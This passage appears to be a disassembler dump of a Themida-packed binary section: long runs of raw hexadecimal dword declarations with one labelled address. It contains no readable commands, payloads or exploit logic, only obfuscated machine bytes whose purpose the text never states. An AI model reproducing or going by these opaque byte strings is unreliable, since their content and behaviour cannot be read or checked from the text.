		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 435EC355h
		dd 0C0D77906h, 9E9h, 92D0C000h,	279E621Ah, 8D89A4B3h, 61D3099h
		dd 6BE9h, 21B58B00h, 0C7061D2Dh, 20C1FD85h, 106h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 23FFD95Bh, 8986E564h, 1D1189BDh, 9CDF8106h, 0E91D8898h
		dd 28h,	0C1FD85C7h, 620h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 5579A4C3h, 2B899D8Dh
		dd 0B531061Dh, 61D021Dh, 2AE5B503h, 2381061Dh, 0FFFFFEFFh
		dd 89DB8C66h, 1D0F1DB5h, 4C3F606h, 6F840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 667182C3h, 95FFF38Bh, 61D3151h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0D2C35343h,	0BF94AA25h, 9195E6DCh
		dd 10E8h, 1FAABE00h, 7370850h, 531C94F1h, 51D40BA6h, 999D8925h
		dd 5F061D16h, 8B905090h, 1D16E9BDh, 366E906h, 0B58B0000h
		dd 61D02D9h, 156DB58Bh,	0B0061Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 81C35040h, 65BD8BF1h, 0E6061D15h
		dd 0DE96070h, 6A000000h, 0AC73B6C1h, 476763C9h,	0B808BB86h
		dd 411858Bh, 0E461061Dh, 91BD8B71h, 0F5061D00h,	81D8B60Fh
		dd 2A1589DFh, 6BA47h, 0BF0F0000h, 0FC38BF2h, 8Bh, 4E8C100h
		dd 6890Fh, 0BD8B0000h, 61D0F55h, 33E2F766h, 1D2B49BDh
		dd 89D82B06h, 1D06F9B5h, 0E5B58B06h, 93061D2Bh,	93506160h
		dd 2C6D9589h, 0BD0B061Dh, 61D29FDh, 8E9B5FFh, 0BD89061Dh
		dd 61D1FB1h, 6890Fh, 0E6810000h, 38C4517h, 120995FFh, 6A061Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0D6EA9EC3h, 0C0189DC2h, 0E9B58B64h, 0B0061D09h, 0B1B58B00h
		dd 0E6061D15h, 6800F70h, 89000000h, 1D0331B5h, 6A71E406h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 75F7C353h, 0F613CFCh, 23B83h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 2C49DEA7h, 0F3DDC8Ch, 8E0FD8B6h, 0Bh, 10CF8160h, 8061D07Eh
		dd 0BA614EEDh, 6, 0B4DBF66h, 840FC38Bh,	0Ch, 6840Fh, 0BD8B0000h
		dd 61D1BC5h, 15218D89h,	0E8C1061Dh, 0FA8B6604h,	81E2F766h
		dd 7303AFE7h, 0FD82B2Eh, 38Ch, 0F18B6600h, 53006A58h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 4977BBE3h, 0A79412FBh, 9E9h,	806E4000h, 8F8E04F3h, 0D82B28FBh
		dd 18E880Fh, 0F78B0000h, 26A1B58Bh, 7B9061Dh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 3367C355h, 1D2D39B5h, 0C18306h, 1A81B58Bh
		dd 0D93B061Dh, 14E860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 233587C3h, 6586E91Ah
		dd 66BF66EFh, 1DB58BBAh, 66061D1Bh, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 56116EC3h
		dd 0D1F01068h, 4C1F6BBh, 0D0840Fh, 0B5310000h, 61D2C0Dh
		dd 315195FFh, 0BD8B061Dh, 61D2BF5h, 55006A5Bh, 3E8h, 0C35D2000h
		dd 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 5C82346Ch, 0DE07FE29h
		dd 0DE8h, 6D8E7200h, 0EDEE59DAh, 38B77CEBh, 8B60D006h
		dd 1D06D59Dh, 7E906h, 0BD410000h, 6E54E442h, 2B5E614Ch
		dd 850160C3h, 61D21EDh,	6FC08166h, 0BD8B6193h, 61D1AC1h
		dd 8343Dh, 53860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 9B6EC355h, 21CD9589h
		dd 4DE9061Dh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0E63BC352h,	6C15ACAh
		dd 0DA2582DFh, 5119D89h, 0C08B061Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 5DC35747h, 0F1B70FCBh, 0D88BC38Bh
		dd 3059B58Bh, 85C7061Dh, 61D3331h, 70F0019Fh, 2111B58Bh
		dd 0C08B061Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0D8C35545h, 71B589C6h, 81061D12h, 1D08E9BDh, 7D006h
		dd 0A850F00h, 0FF000000h, 1D08E985h, 53BE6606h,	0E9B5FF2Ah
		dd 0FF061D08h, 1D120995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E7E567E1h
		dd 402C5D96h, 0F9B70FE6h, 0E1BF4090h, 832002FDh, 1D21D1BDh
		dd 840F0006h, 0BCh, 0BD83FB8Bh,	61D28DDh, 0AD840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 4DF1C355h, 8921D587h, 1D14B19Dh, 0D195FF06h
		dd 6A061D21h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0FF68C351h, 5E8CBF8h, 45000000h
		dd 8818D50Ch, 2D21BD8Bh, 0B5F061Dh, 49840FC0h, 89000000h
		dd 1D21C9BDh, 898D8D06h, 6A061D4Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C256C350h
		dd 0C79C471Dh, 0BE665893h, 5B8AA9Dh, 29000000h,	1D1659B5h
		dd 52E1FF06h, 1860Fh, 5EFC0000h, 281BD83h, 0F00061Dh, 5C784h
		dd 0D8D8900h, 83061D2Ch, 1D28DDBDh, 840F0006h, 5B4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 80C35141h, 0E24F8EC4h
		dd 665EC4D0h, 8D8DF38Bh, 61D0009h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 9AC35242h, 0FE8B2E6Dh, 0B5036060h
		dd 61D028Dh, 8A0Fh, 0F610000h, 689h, 0C18D8900h, 61061D11h
		dd 7C8401C7h, 6A44B2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0F1BF7EC3h, 81032E65h, 99CFCB01h
		dd 50006A14h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0AFBF1DEAh, 2C18160h, 8B0C67E7h,	41C761D0h
		dd 706B3404h, 0C026BFCEh, 4181412Dh, 0D6D71004h, 6890F31h
		dd 9000000h, 1D2F9D95h,	57006A06h, 6D63EE81h, 665E6C6Eh
		dd 858DF08Bh, 61D0009h,	0CF81FB8Bh, 2A3E2E69h, 89F38B50h
		dd 22BF2404h, 0FF1A1D6Ch, 1D028195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 13E21F0h, 0C5722948h
		dd 98D8D88h, 0C7061D00h, 1, 0F08B6600h,	0E9BD8B57h, 5E061D14h
		dd 441C7h, 8B000000h, 1D078DB5h, 0C1BD2306h, 0B061D14h
		dd 5E840FC0h, 0BF000000h, 691C43F1h, 4C898D8Dh,	6A061Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 23B354C3h, 4349AFF8h, 89F963DBh, 1D068195h, 5B806h
		dd 0FFF50000h, 53006AE1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0A03D31C8h, 98D8D67h
		dd 6A061D00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0A653C357h, 2551D40Bh,	98D8957h
		dd 66061D17h, 0C7F429BEh, 0AA727C01h, 57006A44h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 8BC7DEFDh, 1D3339BDh, 2880F06h, 8B000000h, 0CB0181F9h
		dd 6A1499CFh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 434AC356h, 0B58B22D2h,	61D0465h
		dd 12E8h, 575E6B00h, 5138C841h,	9B0BAB81h, 0FA0D4583h
		dd 0F3B824Dh, 0C75FF0B7h, 753C0441h, 6ACE78h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0F5DB5DC3h
		dd 18E781C9h, 8151AB69h, 0D7100441h, 6A31D6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0D9DE9C3h
		dd 27579442h, 6A3C0222h, 9858D00h, 6A061D00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 4B13C350h, 931CD428h, 489505Fh, 57D78124h, 0FF5DC3C4h
		dd 1D028195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0BD8B6DCFh, 61D1341h, 98D8Dh, 6A061Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 48F4D0C3h, 9531DCA2h, 61D1C41h, 1C7h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 84C737C3h, 6B73231Ch, 441C7h, 0BE000000h, 36485178h
		dd 840FC00Bh, 5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 50C35141h, 709CC2CFh,	8D8D1EDBh, 61D4C89h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 6BC35343h
		dd 283BBEE2h, 5B81441h,	66000000h, 0D0D8F681h, 0C681E1FFh
		dd 29BA8ED6h, 98D8Dh, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 366151C3h, 1C71C0Ch
		dd 54CA95A5h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	8CC35141h, 77173C64h, 8840Fh, 8B560000h, 1D33A5BDh
		dd 1815E06h, 1499CFCBh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0F9C35242h, 9BD8B19h,	8B061D1Ah, 1D00CDB5h
		dd 441C706h, 0CE5F5969h, 0AE8h,	5EDD9100h, 1C31091h, 0E914031Bh
		dd 0Fh,	0C9B33A11h, 0E4D2E5F8h,	0B145AFA4h, 5F679661h
		dd 10044181h, 6A31D6D7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0AA32C356h,	6A377Bh
		dd 9858DF8h, 6A061D00h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8BE4C353h, 1D1245B5h
		dd 3D858906h, 50061D2Ah, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 6430C355h
		dd 0FFBE8750h, 1D028195h, 98D8D06h, 50061D00h, 3269B589h
		dd 0C75F061Dh, 1, 29B52B00h, 0C7061D25h, 441h, 8BBF0000h
		dd 0F1D7E71h, 0C00BFABFh, 6E840Fh, 0B600000h, 1D2A019Dh
		dd 8D8D6106h, 61D4C89h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0E2C35343h, 4035928Dh, 880FEE49h, 5
		dd 3BB855BEh, 5B823h, 7CBE0000h, 0FF45D95Bh, 50006AE1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 4DE2805h, 5C8E138Bh,	0FABF0FB5h
		dd 0B7E9CA03h, 0EBFFFFF3h, 0AE754904h, 524E925h, 4CEE0000h
		dd 4EE57E28h, 5ED7701Ah, 69CB640Eh, 7ABC55FFh, 13D048F2h
		dd 0A8521A1Ch, 9E48280Fh, 933D3305h, 832D47FAh,	65790B9Dh
		dd 76236276h, 621F8910h, 0E484AFD3h, 7653613h, 0A481F34Eh
		dd 751F4DE9h, 320F65DCh, 0CDAACA77h, 6A472112h,	8DF723A7h
		dd 7D16C0B4h, 720BB5BBh, 3DFAAAC6h, 0DC9774F8h,	0E4421359h
		dd 87E94E09h, 6BAF53AAh, 0CCE07224h, 0DD2542A6h, 2315CE2Ch
		dd 370AA34Dh, 39D0603Dh, 62542A6h, 0C7E99C7Eh, 7614FF3Ch
		dd 0A8h, 0F7C33C8h, 8306FEE3h, 621F7E25h, 0E785B1D5h, 8B68390Ah
		dd 9EA35CBAh, 5F69F9D6h, 0AE2542A6h, 5A0AE789h,	42A634C8h
		dd 5914C525h, 4B491DFh,	42A66272h, 0DBE6F25h, 0F0B9B565h
		dd 0D9D3B268h, 6014FF3Ch, 1, 491F14B9h,	4155E799h, 522542A6h
		dd 0A69C30C2h, 7C2D2542h, 0C2724DABh, 0A66E7E10h, 0EB7B2542h
		dd 42A64559h, 0D4A55625h, 3076BD76h, 30D6E7B5h,	251CD7C2h
		dd 0E6A17E4Fh, 0AD6A1A4Eh, 0AA85E389h, 0FE3A44EFh, 0F3C49572h
		dd 90D85B16h, 0EE2CB0B3h, 0E139BD80h, 2ED890A3h, 57DEAC95h
		dd 139A4415h, 0D7602214h, 3701BC99h, 94AD6839h,	613203E0h
		dd 0FE6AC984h, 83972121h, 8D373501h, 4A274DF4h,	0E9C6A68Fh
		dd 4243D761h, 14FF3AB8h, 87DFh,	22143800h, 83B26D4Ah, 50A439E9h
		dd 57A23932h, 97522D8Bh, 35F0CD9Fh, 39906D03h, 26E98595h
		dd 2A0C78A2h, 580A9842h, 42CD36C6h, 452B0D25h, 78318F40h
		dd 0A93DCFBEh, 3A2542CDh, 2BDBB889h, 7CB9C56Eh,	8C11FF0h
		dd 0D75F3C2Ch, 5C2CD4Dh, 27DF3D33h, 14FF5195h, 109F58Ah
		dd 9130EEE2h, 4CBF33h, 14180000h, 0B26D4A22h, 39370086h
		dd 0A5F88B5Ch, 0F7B446A6h, 0EAEDCA9Bh, 66D0B466h, 724F251Ch
		dd 9F26D0A1h, 6C491F14h, 3335FFBCh, 0A6B247D5h,	0F57D2542h
		dd 3C4E6025h, 1EB314FFh, 18B31C2h, 9DCF661Ch, 0C01EEFC0h
		dd 14Ch, 2114A500h, 0C3069B4Bh,	0E1A54C02h, 0CCA09550h
		dd 69D8936Eh, 2BD72E0Bh, 7CBAC86Eh, 71421FF0h, 319F2FC1h
		dd 7B2C2542h, 0E1A3771Dh, 0AB681854h, 0DA82E088h, 0BA6A0E1Ch
		dd 45214128h, 4421D21Fh, 12BCB889h, 71C2C879h, 0B94926F7h
		dd 0DCA1202Fh, 9CE832B6h, 8C25CFA5h, 27E2BFB5h,	7D7D5A1Ah
		dd 0E45D27F3h, 504BE090h, 0FACF3F95h, 0DC741C7Ah, 0ED1CA9D2h
		dd 11E69h, 59EFC200h, 0E8F98B3Bh, 0EB1F45BDh, 7335C95Bh
		dd 2BC6DCA0h, 0BD8E5F09h, 581C25E0h, 482C15AEh,	0E391B06Bh
		dd 0DF740606h, 7FF7E610h, 77F540E3h, 65F8C99Ah,	0F8D04FF7h
		dd 9F45A3ECh, 3C38097Bh, 81F0FA92h, 3E87ED1Dh, 0E0000000h
		dd 0E35258EFh, 6AFCAC89h, 2542A65Ah, 14E5B667h,	6E00B264h
		dd 2542A65Eh, 0CE5CBA6Bh, 2542A68Eh, 0FD8D6A1Bh, 0DABD59E9h
		dd 0EB74A64Eh, 0F688385Ch, 0DABD5956h, 6BE89243h, 97h
		dd 5159EFC6h, 5B586E2h,	0A17EEE48h, 12C472D0h, 2B89DF55h
		dd 45C0749Dh, 11EE9F1Fh, 7F47CC61h, 0CCAE6130h,	0E88CB56Eh
		dd 0D89CA53Eh, 0A58E4BFBh, 0C8D765C3h, 19DCA0E5h, 0B974511Fh
		dd 6011EE7Ah, 90C62B8h,	0A539CB7Dh, 36DCA0E7h, 99812785h
		dd 741E56EBh, 540460B6h, 72D0A097h, 0CE6012C4h,	0DCA0E73Eh
		dd 2EBC1ACBh, 0E6C0B6F7h, 6B69344h, 2381EF49h, 0C09DD76Ah
		dd 3A55C569h, 0D4B1B77Dh, 2DC15303h, 0BED683D6h, 7BD1AF0Dh
		dd 0A2DB6D1Dh, 0F1ECE386h, 1F0F9640h, 0E71A268Ah, 49DCCF35h
		dd 96C2D3C9h, 7D5BB919h, 1262DFAFh, 0E3936435h,	221DD451h
		dd 580ABC1Fh, 0A2BD36C6h, 8212C3DCh, 0DCA2BD72h, 6D70CE7Fh
		dd 0CF4664D2h, 0ACAAB88Fh, 27D7B485h, 0A2DA0195h, 10E192DCh
		dd 25FA8F3Fh, 4D80CACDh, 0DB9671CFh, 0D6640E66h, 74511F19h
		dd 0B58C45A3h, 7C52E2BFh, 5BFD5960h, 8F4C43D7h,	30EBC8A8h
		dd 0B5866311h, 74CD86E4h, 7B4C2016h, 29AE43D1h,	743F4E1Ch
		dd 6ED38CEAh, 0C66E2906h, 0F65DF2A2h, 9B18BDE2h, 2DE8C321h
		dd 0D74BA006h, 4663EB34h, 56E89875h, 0F313B246h, 50E7A253h
		dd 0B21FAF41h, 0FBACF313h, 0F49C4D2Ah, 4DF14826h, 0EA8AB7CDh
		dd 0F09AA740h, 77542543h, 3D8h,	0B65D3300h, 714E2614h
		dd 0CE98BB6h, 0AC89E751h, 4D2A46F1h, 0EBC8A492h, 89660630h
dword_579668	dd 250266CEh, 0C4A1CB6Ah, 613E2A09h, 0E189519Ch, 4C181h
					; DATA XREF: Themida_:0054D663o
		dd 0BE560000h, 4, 875EF129h, 685C240Ch,	701Fh, 68242C89h
		dd 15C4h, 68243489h, 4F45h, 0BA241489h,	620D026h, 835AD589h
		dd 248904ECh, 24048324h, 0B8505E04h, 8,	5E245805h, 2DF00136h
		dd 365E2458h, 8B582889h, 89522434h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 2434FF5Ch, 4C4835Dh, 0FCAA75E9h, 47671FFh
		dd 1D713063h, 0C9B83D34h, 30620D4h, 0C8E0FFC5h,	0EF4C13FBh
		dd 0BE07217Eh, 16527B18h, 4818A5h, 0B828D8BBh, 0B76CA81h
		dd 0F630266Ah, 0FC22AC8Ch, 4377F1A7h, 9C6C8AEEh, 0E31924BEh
		dd 3E73F16Eh, 8B4CB93Ch, 0FFCE81C1h, 0EB10A9B7h, 4, 0EE900h
		dd 0F6EC0000h, 0A48CC1Fh, 0B2C51CA6h, 0B87043F0h, 2F399D01h
		dd 6A061Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0AA8CF2C3h, 662CC835h, 858DF78Bh,	61D0421h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 25C35343h
		dd 61B58BB7h, 50061D30h, 0E9240489h, 0Ah, 1630129Fh, 979A1092h
		dd 6A14C2h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 19h,	99C35141h, 3B06E5E4h, 0EE81665Bh, 6A7CFCh, 0F55B58Bh
		dd 858D061Dh, 620D704h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 21C35242h, 0B05C083h,	1D22E9B5h, 800F9006h
		dd 11h,	0CE9h, 75581700h, 155EB967h, 8EF50E28h,	0F08B506Eh
		dd 880F5090h, 0
		dd 0F006A5Eh, 58Eh, 0CE816600h,	6A1355h, 74DE8166h, 3995FF9Dh
		dd 6A061D2Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 661FC356h, 0A872D681h,	95359D8Dh
		dd 89600620h, 1D22D5BDh, 0D3FF6106h, 0FFF0B70Fh, 1D1BC185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8D296FF5h, 61D1571h, 995E9h, 0E800h, 815D0000h
		dd 20D70EEDh, 0A19D8906h, 81061D07h, 1D08E9BDh,	7D006h
		dd 28860F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0B217C350h,	5319D8Bh
		dd 49BE061Dh, 810EBB2Ah, 100E3h, 95895200h, 61D2B91h, 0FDB0B5Eh
		dd 7F85h, 6840F00h, 8B000000h, 1D129DB5h, 91BD8306h, 620D5h
		dd 30840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 567407C3h, 0E37A7015h, 8166D7BCh
		dd 0E9F930F6h, 42h, 85C7F08Bh, 620D591h, 1, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0DFC35545h, 15E9h
		dd 71B58B00h, 66061D11h, 0E69FCE81h, 0D59185C7h, 620h
		dd 9D8D0000h, 61D0531h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B6C35040h, 0E7B40E39h, 8D8B60CFh, 61D1205h
		dd 0E1BD8B60h, 66061D15h, 0EF92E181h, 14E96161h, 1D000000h
		dd 0B23C9172h, 152623E1h, 0D2E35080h, 0D338DA82h, 815369F3h
		dd 0FFFEFF23h, 458589FFh, 66061D2Fh, 6ADB8Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0CCF514C3h
		dd 11E98D89h, 0F6FC061Dh, 840F04C3h, 59h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 35C35646h, 0FF5E57EDh
		dd 1D315195h, 0C1B58906h, 0F061D0Bh, 68Dh, 39B58B00h, 50061D15h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0ADF2C352h, 4C3E92Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 9A3B17C3h, 598D6C0h,	6BE706Ch, 0B0345983h, 70E6F800h
		dd 0CDEDDE81h, 71E47FB9h, 8E9h,	31A3D00h, 0B935A505h, 0D8B60FFCh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F8C35242h
		dd 5D6C80A1h, 0CFF4A5BAh, 81666026h, 23F65FD1h,	1D033DB5h
		dd 810F6106h, 3, 0BAF0BF0Fh, 6,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 37C35545h, 5CAC783Ch, 0FBD09F93h
		dd 0FC38B8Bh, 0C81h, 6880F00h, 31000000h, 1D20FD95h, 4E8C106h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 53C35040h
		dd 6AE2F766h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 4E5DC352h, 6AD82BAFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0FB21C355h, 0A5AE268Ah, 89509460h, 8E0F241Ch, 5, 0B02AC9BEh
		dd 0ECBE6642h, 0E9B5FF45h, 6A061D08h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 81E8C351h
		dd 224FCE1Ch, 2BB5419Ah, 1D14A9B5h, 0EDBD8906h,	0FF061D06h
		dd 1D120995h, 6D858906h, 0B0061D05h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 58BED968h
		dd 6373142h, 7E910E5h, 0E1000000h, 81C9EAD3h, 70E637F3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 41C35747h
		dd 44B5F63h, 71E426A6h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 2BC35242h, 0B58B86A8h, 61D1D6Dh, 830F613Ch
		dd 2C5h, 810Fh,	0B60F0000h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 1BAF9AB8h
		dd 0DCF92AE1h, 6BAh, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0C38BA1A5h, 17D59589h
		dd 0E8C1061Dh, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 86889067h, 0FFE6D6D6h
		dd 29B50B96h, 66061D18h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 2E184BC3h, 8166FCF0h
		dd 2BFE19CEh, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0C366151h, 0FFF6B1Ch, 388h, 0F28B6600h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 2BFB78C1h, 0C6880FD8h, 8B000001h, 1D16C5B5h
		dd 7B906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0AC3277C3h, 8C0F60DEh, 6, 2A759589h
		dd 8D29061Dh, 61D2559h,	6A00C183h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0E881C353h
		dd 6A2A8864h, 813023EBh, 676AD8D6h, 0FD93B26h, 15486h
		dd 59958900h, 66061D1Ch, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0ED4794C3h, 214CC681h
		dd 0C1F662A3h, 0F8840F04h, 6A000000h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2A53C353h
		dd 608C9503h, 18098D89h, 0FF61061Dh, 1D315195h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0F3D7522Ch, 860FE14Dh, 6, 57D78B60h,	2B5B615Ah, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 97E4E3A2h, 848B379Ch, 9DE6BE66h, 3C6FBE66h, 8343Dh
		dd 64860F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 6043C351h, 12E8h, 7C39E400h
		dd 22BA08FDh, 0B33EC3D7h, 0EA2A080Dh, 0E9E6DE3Ah, 13h
		dd 0D564D33Bh, 19A82460h, 0A37D43ABh, 91AD9490h, 5EAA2345h
		dd 31E1B589h, 0E961061Dh, 31h, 6E9h, 74D68400h,	8B271F17h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 99AD4C44h, 0B938E0F0h, 8BC38B19h, 0C68166D8h
		dd 85C7B7B7h, 61D2B89h,	3D5C6D3Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 8C35747h, 0ADBF2B93h, 8B66EA5Ah
		dd 89C08BF7h, 1D20219Dh, 0E9BD8106h, 0D0061D08h, 0F000007h
		dd 0C85h, 41B50B00h, 0FF061D19h, 1D08E985h, 0E9B5FF06h
		dd 0FF061D08h, 1D120995h, 0B447BE06h, 85891E90h, 61D10A9h
		dd 6AD88B90h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 4124C352h, 0B70FFE9Fh,	0C9BD83F0h
		dd 61D26h, 32840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 160424h, 51410000h, 24BB12C3h, 1255B50Bh
		dd 1E9061Dh, 89000002h,	1D0865B5h, 0F1BF0F06h, 6ADF8Ch
		dd 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 80D3D7C3h, 487ADFAEh
		dd 8166F38Bh, 664799F6h, 4C7F7h, 1C2850Fh, 0EE810000h
		dd 12059FC3h, 6AFF2Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 4CD755C3h, 28CEBFF6h, 0E0269D8Dh
		dd 0B58B0620h, 61D0285h, 2DBE6693h, 10E850A0h, 47000000h
		dd 2685D34Ah, 0D1015957h, 0B3A39FAh, 8BB58F68h,	6A935EF2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0FA1DC352h, 0DD0DA6FDh, 9F7B70Fh,	1D25F585h
		dd 35FF6406h, 0
		dd 1A09B58Bh, 8964061Dh, 25h, 89C48B00h, 1D327995h, 0EB01CD06h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 4B2A4BA5h, 0C56CA861h, 0BE661C42h, 6AF16Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 2B7811C3h, 46F64562h, 419D89FCh, 64061D32h, 58Fh, 840F0000h
		dd 10h,	0A860Fh, 5E90000h, 2A000000h, 0CFE97552h, 6004C483h
